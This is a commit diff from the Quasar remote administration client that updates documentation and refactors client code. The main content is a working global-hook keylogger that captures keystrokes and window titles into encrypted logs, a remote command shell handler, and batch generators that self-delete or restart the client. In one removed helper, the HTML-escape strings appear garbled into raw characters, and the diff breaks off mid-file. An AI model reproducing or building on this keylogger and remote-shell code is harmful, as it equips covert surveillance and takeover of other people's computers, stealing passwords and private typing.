mirror of https://github.com/quasar/Quasar.git
Update documentation
This commit is contained in:
parent
3fbf7fd0f7
commit
9ed61be8e1
|
@ -9,6 +9,9 @@
|
|||
|
||||
namespace Quasar.Client.Config
|
||||
{
|
||||
/// <summary>
|
||||
/// Stores the configuration of the client.
|
||||
/// </summary>
|
||||
public static class Settings
|
||||
{
|
||||
#if DEBUG
|
||||
|
|
|
@ -0,0 +1,59 @@
|
|||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Extensions
|
||||
{
|
||||
public static class KeyExtensions
|
||||
{
|
||||
public static bool ContainsModifierKeys(this List<Keys> pressedKeys)
|
||||
{
|
||||
return pressedKeys.Any(x => x.IsModifierKey());
|
||||
}
|
||||
|
||||
public static bool IsModifierKey(this Keys key)
|
||||
{
|
||||
return (key == Keys.LControlKey
|
||||
|| key == Keys.RControlKey
|
||||
|| key == Keys.LMenu
|
||||
|| key == Keys.RMenu
|
||||
|| key == Keys.LWin
|
||||
|| key == Keys.RWin
|
||||
|| key == Keys.Control
|
||||
|| key == Keys.Alt);
|
||||
}
|
||||
|
||||
public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
|
||||
{
|
||||
return pressedKeys.Contains((Keys)char.ToUpper(c));
|
||||
}
|
||||
|
||||
public static bool IsExcludedKey(this Keys k)
|
||||
{
|
||||
// The keys below are excluded. If it is one of the keys below,
|
||||
// the KeyPress event will handle these characters. If the keys
|
||||
// are not any of those specified below, we can continue.
|
||||
return (k >= Keys.A && k <= Keys.Z
|
||||
|| k >= Keys.NumPad0 && k <= Keys.Divide
|
||||
|| k >= Keys.D0 && k <= Keys.D9
|
||||
|| k >= Keys.Oem1 && k <= Keys.OemClear
|
||||
|| k >= Keys.LShiftKey && k <= Keys.RShiftKey
|
||||
|| k == Keys.CapsLock
|
||||
|| k == Keys.Space);
|
||||
}
|
||||
|
||||
public static string GetDisplayName(this Keys key)
|
||||
{
|
||||
string name = key.ToString();
|
||||
if (name.Contains("ControlKey"))
|
||||
return "Control";
|
||||
else if (name.Contains("Menu"))
|
||||
return "Alt";
|
||||
else if (name.Contains("Win"))
|
||||
return "Win";
|
||||
else if (name.Contains("Shift"))
|
||||
return "Shift";
|
||||
return name;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,11 +1,14 @@
|
|||
using System;
|
||||
using Microsoft.Win32;
|
||||
using Quasar.Common.Utilities;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
using Quasar.Common.Utilities;
|
||||
|
||||
namespace Quasar.Client.Extensions
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides extensions for registry key and value operations.
|
||||
/// </summary>
|
||||
public static class RegistryKeyExtensions
|
||||
{
|
||||
/// <summary>
|
||||
|
@ -25,7 +28,7 @@ private static bool IsNameOrValueNull(this string keyName, RegistryKey key)
|
|||
/// </summary>
|
||||
/// <param name="key">The key of which we obtain the value of.</param>
|
||||
/// <param name="keyName">The name of the key.</param>
|
||||
/// <param name="defaultValue">The default value if value can not be determinated.</param>
|
||||
/// <param name="defaultValue">The default value if value can not be determined.</param>
|
||||
/// <returns>Returns the value of the key using the specified key name. If unable to do so,
|
||||
/// defaultValue will be returned instead.</returns>
|
||||
public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
|
||||
|
@ -107,8 +110,7 @@ public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
|
|||
/// </summary>
|
||||
/// <param name="key">The key of which the sub-key is to be deleted from.</param>
|
||||
/// <param name="name">The name of the sub-key.</param>
|
||||
/// <returns>Returns boolean value if the action succeded or failed
|
||||
/// </returns>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
|
||||
{
|
||||
try
|
||||
|
@ -122,8 +124,6 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
|
|||
}
|
||||
}
|
||||
|
||||
#region Rename Key
|
||||
|
||||
/*
|
||||
* Derived and Adapted from drdandle's article,
|
||||
* Copy and Rename Registry Keys at Code project.
|
||||
|
@ -146,21 +146,20 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
|
|||
/// <param name="key">The key of which the subkey is to be renamed from.</param>
|
||||
/// <param name="oldName">The old name of the sub-key.</param>
|
||||
/// <param name="newName">The new name of the sub-key.</param>
|
||||
/// <returns>Returns boolean value if the action succeded or failed; Returns
|
||||
/// </returns>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
try
|
||||
{
|
||||
//Copy from old to new
|
||||
key.CopyKey(oldName, newName);
|
||||
//Despose of the old key
|
||||
//Dispose of the old key
|
||||
key.DeleteSubKeyTree(oldName);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Try to despose of the newKey (The rename failed)
|
||||
//Try to dispose of the newKey (The rename failed)
|
||||
key.DeleteSubKeyTreeSafe(newName);
|
||||
return false;
|
||||
}
|
||||
|
@ -173,8 +172,6 @@ public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string
|
|||
/// <param name="key">The key of which the subkey is to be deleted from.</param>
|
||||
/// <param name="oldName">The old name of the sub-key.</param>
|
||||
/// <param name="newName">The new name of the sub-key.</param>
|
||||
/// <returns>Returns nothing
|
||||
/// </returns>
|
||||
public static void CopyKey(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
//Create a new key
|
||||
|
@ -195,8 +192,6 @@ public static void CopyKey(this RegistryKey key, string oldName, string newName)
|
|||
/// </summary>
|
||||
/// <param name="sourceKey">The source key to copy from.</param>
|
||||
/// <param name="destKey">The destination key to copy to.</param>
|
||||
/// <returns>Returns nothing
|
||||
/// </returns>
|
||||
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
|
||||
{
|
||||
|
||||
|
@ -222,10 +217,6 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
|
|||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Region Value
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to set a registry value for the key provided using the specified
|
||||
/// name, data and kind. If the registry value does not exist it will be created
|
||||
|
@ -234,7 +225,7 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
|
|||
/// <param name="name">The name of the value.</param>
|
||||
/// <param name="data">The data of the value</param>
|
||||
/// <param name="kind">The value kind of the value</param>
|
||||
/// <returns>Returns a boolean value if the action succeeded or failed.</returns>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
|
||||
{
|
||||
try
|
||||
|
@ -274,7 +265,7 @@ public static bool SetValueSafe(this RegistryKey key, string name, object data,
|
|||
/// </summary>
|
||||
/// <param name="key">The key of which the value is to be delete from.</param>
|
||||
/// <param name="name">The name of the value.</param>
|
||||
/// <returns>Returns a boolean value if the action succeded or failed.</returns>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool DeleteValueSafe(this RegistryKey key, string name)
|
||||
{
|
||||
try
|
||||
|
@ -288,8 +279,6 @@ public static bool DeleteValueSafe(this RegistryKey key, string name)
|
|||
}
|
||||
}
|
||||
|
||||
#region Rename Value
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to rename a registry value to the key provided using the specified old
|
||||
/// name and new name.
|
||||
|
@ -297,21 +286,20 @@ public static bool DeleteValueSafe(this RegistryKey key, string name)
|
|||
/// <param name="key">The key of which the registry value is to be renamed from.</param>
|
||||
/// <param name="oldName">The old name of the registry value.</param>
|
||||
/// <param name="newName">The new name of the registry value.</param>
|
||||
/// <returns>Returns boolean value if the action succeded or failed; Returns
|
||||
/// </returns>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
try
|
||||
{
|
||||
//Copy from old to new
|
||||
key.CopyValue(oldName, newName);
|
||||
//Despose of the old value
|
||||
//Dispose of the old value
|
||||
key.DeleteValue(oldName);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
//Try to despose of the newKey (The rename failed)
|
||||
//Try to dispose of the newKey (The rename failed)
|
||||
key.DeleteValueSafe(newName);
|
||||
return false;
|
||||
}
|
||||
|
@ -324,8 +312,6 @@ public static bool RenameValueSafe(this RegistryKey key, string oldName, string
|
|||
/// <param name="key">The key of which the registry value is to be copied.</param>
|
||||
/// <param name="oldName">The old name of the registry value.</param>
|
||||
/// <param name="newName">The new name of the registry value.</param>
|
||||
/// <returns>Returns nothing
|
||||
/// </returns>
|
||||
public static void CopyValue(this RegistryKey key, string oldName, string newName)
|
||||
{
|
||||
RegistryValueKind valueKind = key.GetValueKind(oldName);
|
||||
|
@ -334,19 +320,12 @@ public static void CopyValue(this RegistryKey key, string oldName, string newNam
|
|||
key.SetValue(newName, valueData, valueKind);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#endregion
|
||||
|
||||
#region Find
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the specified subkey exists in the key
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which to search.</param>
|
||||
/// <param name="name">The name of the sub-key to find.</param>
|
||||
/// <returns>Returns boolean value if the action succeded or failed
|
||||
/// </returns>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool ContainsSubKey(this RegistryKey key, string name)
|
||||
{
|
||||
foreach (string subkey in key.GetSubKeyNames())
|
||||
|
@ -364,8 +343,7 @@ public static bool ContainsSubKey(this RegistryKey key, string name)
|
|||
/// </summary>
|
||||
/// <param name="key">The key of which to search.</param>
|
||||
/// <param name="name">The name of the registry value to find.</param>
|
||||
/// <returns>Returns boolean value if the action succeded or failed
|
||||
/// </returns>
|
||||
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||
public static bool ContainsValue(this RegistryKey key, string name)
|
||||
{
|
||||
foreach (string value in key.GetValueNames())
|
||||
|
@ -378,8 +356,6 @@ public static bool ContainsValue(this RegistryKey key, string name)
|
|||
return false;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
/// <summary>
|
||||
/// Gets all of the value names associated with the registry key and returns
|
||||
/// formatted strings of the filtered values.
|
||||
|
@ -396,6 +372,11 @@ public static bool ContainsValue(this RegistryKey key, string name)
|
|||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the default value for a given data type of a registry value.
|
||||
/// </summary>
|
||||
/// <param name="valueKind">The data type of the registry value.</param>
|
||||
/// <returns>The default value for the given <see cref="valueKind"/>.</returns>
|
||||
public static object GetDefault(this RegistryValueKind valueKind)
|
||||
{
|
||||
switch (valueKind)
|
||||
|
|
|
@ -1,27 +1,27 @@
|
|||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Client.IO
|
||||
{
|
||||
public class BatchFile
|
||||
/// <summary>
|
||||
/// Provides methods to create batch files for application update, uninstall and restart operations.
|
||||
/// </summary>
|
||||
public static class BatchFile
|
||||
{
|
||||
/// <summary>
|
||||
/// Creates the uninstall batch file.
|
||||
/// </summary>
|
||||
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||
/// <param name="logDirectory">The log directory.</param>
|
||||
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns>
|
||||
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
|
||||
public static string CreateUninstallBatch(string currentFilePath, string logDirectory)
|
||||
{
|
||||
try
|
||||
{
|
||||
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||
|
||||
string uninstallBatch =
|
||||
"@echo off" + "\r\n" +
|
||||
"chcp 65001" + "\r\n" +
|
||||
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||
"ping -n 10 localhost > nul" + "\r\n" +
|
||||
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||
|
@ -31,27 +31,20 @@ public static string CreateUninstallBatch(string currentFilePath, string logDire
|
|||
File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
|
||||
return batchFile;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates the update batch file.
|
||||
/// </summary>
|
||||
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||
/// <param name="newFilePath">The new file path of the client.</param>
|
||||
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns>
|
||||
/// <returns>The file path to the batch file which can then get executed. Returns an empty string on failure.</returns>
|
||||
public static string CreateUpdateBatch(string currentFilePath, string newFilePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||
|
||||
string updateBatch =
|
||||
"@echo off" + "\r\n" +
|
||||
"chcp 65001" + "\r\n" +
|
||||
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||
"ping -n 10 localhost > nul" + "\r\n" +
|
||||
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||
|
@ -62,26 +55,19 @@ public static string CreateUpdateBatch(string currentFilePath, string newFilePat
|
|||
File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
|
||||
return batchFile;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates the restart batch file.
|
||||
/// </summary>
|
||||
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns>
|
||||
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
|
||||
public static string CreateRestartBatch(string currentFilePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||
|
||||
string restartBatch =
|
||||
"@echo off" + "\r\n" +
|
||||
"chcp 65001" + "\r\n" +
|
||||
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||
"ping -n 10 localhost > nul" + "\r\n" +
|
||||
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||
|
@ -91,10 +77,5 @@ public static string CreateRestartBatch(string currentFilePath)
|
|||
|
||||
return batchFile;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,6 +1,5 @@
|
|||
using Quasar.Client.Networking;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
|
@ -48,27 +47,20 @@ public class Shell : IDisposable
|
|||
/// </summary>
|
||||
private StreamWriter _inputWriter;
|
||||
|
||||
/// <summary>
|
||||
/// The client to sends responses to.
|
||||
/// </summary>
|
||||
private readonly QuasarClient _client;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="Shell"/> class using a given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The client to send shell responses to.</param>
|
||||
public Shell(QuasarClient client)
|
||||
{
|
||||
_client = client;
|
||||
}
|
||||
|
||||
|
||||
|
||||
private void Execute(ISender client, DoShellExecute message)
|
||||
{
|
||||
string input = message.Command;
|
||||
|
||||
if ((_prc == null || _prc.HasExited) && input == "exit") return;
|
||||
|
||||
if (input == "exit")
|
||||
Dispose();
|
||||
else
|
||||
ExecuteCommand(input);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a new session of the shell.
|
||||
/// </summary>
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
using Gma.System.MouseKeyHook;
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Extensions;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Common.Cryptography;
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
|
@ -7,6 +9,7 @@
|
|||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Web;
|
||||
using System.Windows.Forms;
|
||||
using Timer = System.Timers.Timer;
|
||||
|
||||
|
@ -19,39 +22,68 @@ namespace Quasar.Client.Logging
|
|||
public class Keylogger : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// True if the class has already been disposed, else False.
|
||||
/// <c>True</c> if the class has already been disposed, else <c>false</c>.
|
||||
/// </summary>
|
||||
public bool IsDisposed { get; private set; }
|
||||
|
||||
public double FlushInterval { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// The timer used to periodically flush the <see cref="_logFileBuffer"/> from memory to disk.
|
||||
/// </summary>
|
||||
private readonly Timer _timerFlush;
|
||||
|
||||
/// <summary>
|
||||
/// The
|
||||
/// </summary>
|
||||
private readonly StringBuilder _logFileBuffer = new StringBuilder();
|
||||
|
||||
/// <summary>
|
||||
/// Temporary list of pressed keys while they are being processed.
|
||||
/// </summary>
|
||||
private readonly List<Keys> _pressedKeys = new List<Keys>();
|
||||
|
||||
/// <summary>
|
||||
/// Temporary list of pressed keys chars while they are being processed.
|
||||
/// </summary>
|
||||
private readonly List<char> _pressedKeyChars = new List<char>();
|
||||
|
||||
/// <summary>
|
||||
/// Saves the last window title of an application.
|
||||
/// </summary>
|
||||
private string _lastWindowTitle = string.Empty;
|
||||
|
||||
/// <summary>
|
||||
/// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed.
|
||||
/// </summary>
|
||||
private bool _ignoreSpecialKeys;
|
||||
private IKeyboardMouseEvents _mEvents;
|
||||
|
||||
/// <summary>
|
||||
/// Used to hook global mouse and keyboard events.
|
||||
/// </summary>
|
||||
private readonly IKeyboardMouseEvents _mEvents;
|
||||
|
||||
/// <summary>
|
||||
/// Provides encryption and decryption methods to securely store log files.
|
||||
/// </summary>
|
||||
private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY);
|
||||
|
||||
/// <summary>
|
||||
/// Creates the keylogger instance that provides keylogging functionality.
|
||||
/// Initializes a new instance of <see cref="Keylogger"/> that provides keylogging functionality.
|
||||
/// </summary>
|
||||
/// <param name="flushInterval">The interval to flush the buffer to the logfile.</param>
|
||||
/// <param name="flushInterval">The interval to flush the buffer from memory to disk.</param>
|
||||
public Keylogger(double flushInterval)
|
||||
{
|
||||
FlushInterval = flushInterval;
|
||||
_timerFlush = new Timer { Interval = FlushInterval };
|
||||
_timerFlush.Elapsed += timerFlush_Elapsed;
|
||||
_mEvents = Hook.GlobalEvents();
|
||||
_timerFlush = new Timer { Interval = flushInterval };
|
||||
_timerFlush.Elapsed += TimerElapsed;
|
||||
}
|
||||
|
||||
public void StartLogging()
|
||||
/// <summary>
|
||||
/// Begins logging of keys.
|
||||
/// </summary>
|
||||
public void Start()
|
||||
{
|
||||
Subscribe(Hook.GlobalEvents());
|
||||
|
||||
Subscribe();
|
||||
_timerFlush.Start();
|
||||
|
||||
WriteFile();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
@ -65,53 +97,59 @@ public void Dispose()
|
|||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (!IsDisposed)
|
||||
{
|
||||
if (IsDisposed)
|
||||
return;
|
||||
|
||||
if (disposing)
|
||||
{
|
||||
if (_timerFlush != null)
|
||||
{
|
||||
Unsubscribe();
|
||||
_timerFlush.Stop();
|
||||
_timerFlush.Dispose();
|
||||
_mEvents.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
Unsubscribe();
|
||||
|
||||
IsDisposed = true;
|
||||
}
|
||||
}
|
||||
|
||||
private void Subscribe(IKeyboardMouseEvents events)
|
||||
/// <summary>
|
||||
/// Subscribes to all key events.
|
||||
/// </summary>
|
||||
private void Subscribe()
|
||||
{
|
||||
_mEvents = events;
|
||||
_mEvents.KeyDown += OnKeyDown;
|
||||
_mEvents.KeyUp += OnKeyUp;
|
||||
_mEvents.KeyPress += OnKeyPress;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Unsubscribes from all key events.
|
||||
/// </summary>
|
||||
private void Unsubscribe()
|
||||
{
|
||||
if (_mEvents == null) return;
|
||||
_mEvents.KeyDown -= OnKeyDown;
|
||||
_mEvents.KeyUp -= OnKeyUp;
|
||||
_mEvents.KeyPress -= OnKeyPress;
|
||||
_mEvents.Dispose();
|
||||
}
|
||||
|
||||
private void OnKeyDown(object sender, KeyEventArgs e) //Called first
|
||||
/// <summary>
|
||||
/// Initial handling of the key down events and updates the window title.
|
||||
/// </summary>
|
||||
/// <param name="sender">The sender of the event.</param>
|
||||
/// <param name="e">The key event args, e.g. the keycode.</param>
|
||||
/// <remarks>This event handler is called first.</remarks>
|
||||
private void OnKeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title
|
||||
string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle();
|
||||
if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
|
||||
{
|
||||
_lastWindowTitle = activeWindowTitle;
|
||||
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
|
||||
+ KeyloggerHelper.Filter(activeWindowTitle) + " - "
|
||||
+ HttpUtility.HtmlEncode(activeWindowTitle) + " - "
|
||||
+ DateTime.Now.ToString("HH:mm")
|
||||
+ "</b>]</p><br>");
|
||||
}
|
||||
|
||||
if (_pressedKeys.IsModifierKeysSet())
|
||||
if (_pressedKeys.ContainsModifierKeys())
|
||||
{
|
||||
if (!_pressedKeys.Contains(e.KeyCode))
|
||||
{
|
||||
|
@ -133,19 +171,24 @@ private void Unsubscribe()
|
|||
}
|
||||
}
|
||||
|
||||
//This method should be used to process all of our unicode characters
|
||||
private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second
|
||||
/// <summary>
|
||||
/// Processes pressed keys and appends them to the <see cref="_logFileBuffer"/>. Processing of Unicode characters starts here.
|
||||
/// </summary>
|
||||
/// <param name="sender">The sender of the event.</param>
|
||||
/// <param name="e">The key press event args, especially the pressed KeyChar.</param>
|
||||
/// <remarks>This event handler is called second.</remarks>
|
||||
private void OnKeyPress(object sender, KeyPressEventArgs e)
|
||||
{
|
||||
if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar))
|
||||
if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar))
|
||||
return;
|
||||
|
||||
if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
|
||||
if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
|
||||
{
|
||||
var filtered = KeyloggerHelper.Filter(e.KeyChar);
|
||||
var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString());
|
||||
if (!string.IsNullOrEmpty(filtered))
|
||||
{
|
||||
Debug.WriteLine("OnKeyPress Output: " + filtered);
|
||||
if (_pressedKeys.IsModifierKeysSet())
|
||||
if (_pressedKeys.ContainsModifierKeys())
|
||||
_ignoreSpecialKeys = true;
|
||||
|
||||
_pressedKeyChars.Add(e.KeyChar);
|
||||
|
@ -154,12 +197,34 @@ private void Unsubscribe()
|
|||
}
|
||||
}
|
||||
|
||||
private void OnKeyUp(object sender, KeyEventArgs e) //Called third
|
||||
/// <summary>
|
||||
/// Finishes processing of the keys.
|
||||
/// </summary>
|
||||
/// <param name="sender">The sender of the event.</param>
|
||||
/// <param name="e">The key event args.</param>
|
||||
/// <remarks>This event handler is called third.</remarks>
|
||||
private void OnKeyUp(object sender, KeyEventArgs e)
|
||||
{
|
||||
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
|
||||
_pressedKeyChars.Clear();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Finds a held down key char in a given key char list.
|
||||
/// </summary>
|
||||
/// <param name="list">The list of key chars.</param>
|
||||
/// <param name="search">The key char to search for.</param>
|
||||
/// <returns><c>True</c> if the list contains the key char, else <c>false</c>.</returns>
|
||||
private bool DetectKeyHolding(List<char> list, char search)
|
||||
{
|
||||
return list.FindAll(s => s.Equals(search)).Count > 1;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds special highlighting in HTML to the special keys.
|
||||
/// </summary>
|
||||
/// <param name="keys">The input keys.</param>
|
||||
/// <returns>The highlighted special keys.</returns>
|
||||
private string HighlightSpecialKeys(Keys[] keys)
|
||||
{
|
||||
if (keys.Length < 1) return string.Empty;
|
||||
|
@ -169,7 +234,7 @@ private string HighlightSpecialKeys(Keys[] keys)
|
|||
{
|
||||
if (!_ignoreSpecialKeys)
|
||||
{
|
||||
names[i] = KeyloggerHelper.GetDisplayName(keys[i]);
|
||||
names[i] = keys[i].GetDisplayName();
|
||||
Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
|
||||
}
|
||||
else
|
||||
|
@ -181,7 +246,7 @@ private string HighlightSpecialKeys(Keys[] keys)
|
|||
|
||||
_ignoreSpecialKeys = false;
|
||||
|
||||
if (_pressedKeys.IsModifierKeysSet())
|
||||
if (_pressedKeys.ContainsModifierKeys())
|
||||
{
|
||||
StringBuilder specialKeys = new StringBuilder();
|
||||
|
||||
|
@ -228,14 +293,18 @@ private string HighlightSpecialKeys(Keys[] keys)
|
|||
return normalKeys.ToString();
|
||||
}
|
||||
|
||||
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
|
||||
private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e)
|
||||
{
|
||||
if (_logFileBuffer.Length > 0)
|
||||
WriteFile();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes the logged keys from memory to disk.
|
||||
/// </summary>
|
||||
private void WriteFile()
|
||||
{
|
||||
// TODO: large log files take a very long time to read, decrypt and append new logs to
|
||||
bool writeHeader = false;
|
||||
|
||||
string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy"));
|
||||
|
|
|
@ -1,110 +0,0 @@
|
|||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
using Quasar.Client.Helper;
|
||||
|
||||
namespace Quasar.Client.Logging
|
||||
{
|
||||
public static class KeyloggerHelper
|
||||
{
|
||||
#region "Extension Methods"
|
||||
public static bool IsModifierKeysSet(this List<Keys> pressedKeys)
|
||||
{
|
||||
return pressedKeys != null &&
|
||||
(pressedKeys.Contains(Keys.LControlKey)
|
||||
|| pressedKeys.Contains(Keys.RControlKey)
|
||||
|| pressedKeys.Contains(Keys.LMenu)
|
||||
|| pressedKeys.Contains(Keys.RMenu)
|
||||
|| pressedKeys.Contains(Keys.LWin)
|
||||
|| pressedKeys.Contains(Keys.RWin)
|
||||
|| pressedKeys.Contains(Keys.Control)
|
||||
|| pressedKeys.Contains(Keys.Alt));
|
||||
}
|
||||
|
||||
public static bool IsModifierKey(this Keys key)
|
||||
{
|
||||
return (key == Keys.LControlKey
|
||||
|| key == Keys.RControlKey
|
||||
|| key == Keys.LMenu
|
||||
|| key == Keys.RMenu
|
||||
|| key == Keys.LWin
|
||||
|| key == Keys.RWin
|
||||
|| key == Keys.Control
|
||||
|| key == Keys.Alt);
|
||||
}
|
||||
|
||||
public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
|
||||
{
|
||||
return pressedKeys.Contains((Keys)char.ToUpper(c));
|
||||
}
|
||||
|
||||
public static bool IsExcludedKey(this Keys k)
|
||||
{
|
||||
// The keys below are excluded. If it is one of the keys below,
|
||||
// the KeyPress event will handle these characters. If the keys
|
||||
// are not any of those specified below, we can continue.
|
||||
return (k >= Keys.A && k <= Keys.Z
|
||||
|| k >= Keys.NumPad0 && k <= Keys.Divide
|
||||
|| k >= Keys.D0 && k <= Keys.D9
|
||||
|| k >= Keys.Oem1 && k <= Keys.OemClear
|
||||
|| k >= Keys.LShiftKey && k <= Keys.RShiftKey
|
||||
|| k == Keys.CapsLock
|
||||
|| k == Keys.Space);
|
||||
}
|
||||
#endregion
|
||||
|
||||
public static bool DetectKeyHolding(List<char> list, char search)
|
||||
{
|
||||
return list.FindAll(s => s.Equals(search)).Count > 1;
|
||||
}
|
||||
|
||||
public static string Filter(char key)
|
||||
{
|
||||
if ((int)key < 32) return string.Empty;
|
||||
|
||||
switch (key)
|
||||
{
|
||||
case '<':
|
||||
return "<";
|
||||
case '>':
|
||||
return ">";
|
||||
case '#':
|
||||
return "#";
|
||||
case '&':
|
||||
return "&";
|
||||
case '"':
|
||||
return """;
|
||||
case '\'':
|
||||
return "'";
|
||||
case ' ':
|
||||
return " ";
|
||||
}
|
||||
return key.ToString();
|
||||
}
|
||||
|
||||
